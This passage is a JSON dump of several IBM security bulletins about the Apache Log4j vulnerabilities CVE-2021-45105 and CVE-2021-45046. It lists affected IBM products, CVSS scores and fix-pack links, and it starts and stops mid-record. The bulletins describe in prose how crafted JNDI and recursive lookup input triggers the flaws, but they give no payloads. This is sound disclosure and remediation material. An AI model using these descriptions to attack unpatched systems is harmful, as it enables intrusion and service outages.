https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \n \nz/Transaction Processing Facility ( z/TPF)\n\n| 1.1 \nTPF Operations Server| 1.2.06 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now. **\n\n**Product**| **VRMF**| **APAR**| **Remediation/Fix** \n---|---|---|--- \nz/TPF| 1.1| PJ46693| \n\nApply the APAR, which is available for download from the [TPF Family Products: Maintenance for z/TPF & z/TPFDF](<https://www.ibm.com/support/pages/node/618275> \"TPF Family Product: Maintenance\" ) web page. \n \nTPF Operations Server| 1.2.06| IT39522| \n\nApply the APAR, which is available for download from the [TPF Product Family: Maintenance for TPF Operations Server](<https://www.ibm.com/support/pages/node/598325> \"TPF Product Family: Maintenance for TPF Operations Server\" ) web page. \n \n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-07T17:05:57", "type": "ibm", "title": "Security Bulletin: Apache Log4j vulnerabilities impact z/Transaction Processing Facility (z/TPF) and TPF Operations Server (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-07T17:05:57", "id": "5EE7E4E97581573D0B40454E7851D662668050B8C7587DA918FD85D38B92C2A2", "href": "https://www.ibm.com/support/pages/node/6538936", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:41", "description": "## Summary\n\nIBM Sterling External Authentication Server is vulnerable to denial of service and arbitrary code execution due to Apache Log4j, which is used for logging (CVE-2021-45105,CVE-2021-45046). The fix includes Apache Log4j 2.17.0.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling External Authentication Server| 6.0.3 \nIBM Sterling External Authentication Server| 6.0.2 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now.**\n\nSee the Fix Central links below for Apache Log4j 2.17.0 jar files and installation instructions for an immediate remediation of the vulnerabilities prior to full iFixes for the associated releases. \n\n**Product**| **VRMF**| **Remediation** \n---|---|--- \nIBM Sterling External Authentication Server| 6.0.3| [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) \nIBM Sterling External Authentication Server| 6.0.2| [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) \n \nThe [Fix Central - 6030](<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EOther%20software&product=ibm/Other+software/Sterling+Secure+Proxy&release=6.0.3.0&platform=All&function=all> \"Fix Central - 6030\" ) link points to a fix called SSP-SEAS-log4j-2.17.0-jars-for-CVE-2021-45105 which supplies the jars and instructions to replace them. This fix remediates CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105.\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-04T15:59:56", "type": "ibm", "title": "Security Bulletin: Multiple Vulnerabilities in Apache Log4j impact IBM Sterling External Authentication Server (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-04T15:59:56", "id": "B73437073599A5973472D300EA14AD94DB00FCC9790D93795D0BCA840608CBF4", "href": "https://www.ibm.com/support/pages/node/6538102", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:43:00", "description": "## Summary\n\nIBM Cloud Application Business Insights (ICABI) is vulnerable to denial of service due to Apache Log4j (CVE-2021-45105) and arbitrary code execution due to Apache Log4j (CVE-2021-45046)\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Cloud Application Business Insights| 1.1.7 \nIBM Cloud Application Business Insights| 1.1.6 \nIBM Cloud Application Business Insights| 1.1.5 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerabilities now by applying the fix packs as described below.**\n\nFor systems where IBM Cloud Application Business Insights version 1.1.7 is installed, the vulnerabilities can be remediated by applying the ICABI FixPack 1.1.7.1. \n\nFor systems where IBM Cloud Application Business Insights version 1.1.6 is installed, the vulnerabilities can be remediated by applying the ICABI FixPack 1.1.6.4. \n\nFor systems where IBM Cloud Application Business Insights version 1.1.5 is installed, the vulnerabilities can be remediated by applying the ICABI FixPack 1.1.5.5.\n\n**The fixes and install instructions can be found at the following location:**\n\n**Fix Pack**| **Download Link (Fix Central)** \n---|--- \nICABI 1.1.7.1 Fix Pack| [http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Cloud+App+Management&fixids=ICABI_1.1.7.1&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Cloud+App+Management&fixids=ICABI_1.1.7.1&source=SAR>) \nICABI 1.1.6.4 Fix Pack| [http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Cloud+App+Management&fixids=ICABI_1.1.6.4&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Cloud+App+Management&fixids=ICABI_1.1.6.4&source=SAR>) \nICABI 1.1.5.5 Fix Pack| [http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Cloud+App+Management&fixids=ICABI_1.1.5.5&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FTivoli%2FIBM+Cloud+App+Management&fixids=ICABI_1.1.5.5&source=SAR>) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-12-30T15:09:22", "type": "ibm", "title": "Security Bulletin: Vulnerabilities in Apache Log4j impact IBM Cloud Application Business Insights (CVE-2021-45105, CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-12-30T15:09:22", "id": "4E45A4CCE496D5E81C322B32A8275068E422B799EBDE7BAED299E58F52295C89", "href": "https://www.ibm.com/support/pages/node/6536872", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:47", "description": "## Summary\n\nThere are multiple Apache Log4j (CVE-2021-45105, CVE-2021-45046) vulnerabilities impacting IBM SPSS Statistics Desktop which uses Apache Log4j for logging. The fix includes Apache Log4j 2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM SPSS Statistics Desktop| 28.0.1 \n \n\n\n## Remediation/Fixes\n\nAffected Product(s)| Version(s)| Fixes \n---|---|--- \nSPSS Statistics Desktop| 28.0.1| [Statistics 28.0.1-IF007](<https://www.ibm.com/support/fixcentral/swg/downloadFixes?parent=SPSS&product=ibm/Information+Management/SPSS+Statistics&release=28.0.1.0&platform=All&function=fixId&fixids=28.0.1-IM-S28STATC-ALL-IF007&includeRequisites=1&includeSupersedes=0&downloadMethod=http> \"Statistics 28.0.1-IF007\" ) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-26T20:58:38", "type": "ibm", "title": "Security Bulletin: Apache Log4j vulnerabilities, CVE-2021-45105 (affecting v2.16) and CVE-2021-45046 (affecting v2.15), affect IBM SPSS Statistics Desktop", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-26T20:58:38", "id": "5C4285711D841C9680531DE8ADF4E9F871797CE3D4CE7073D4D1B7D69166DABE", "href": "https://www.ibm.com/support/pages/node/6537182", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:59:00", "description": "## Summary\n\nThere is a vulnerability in the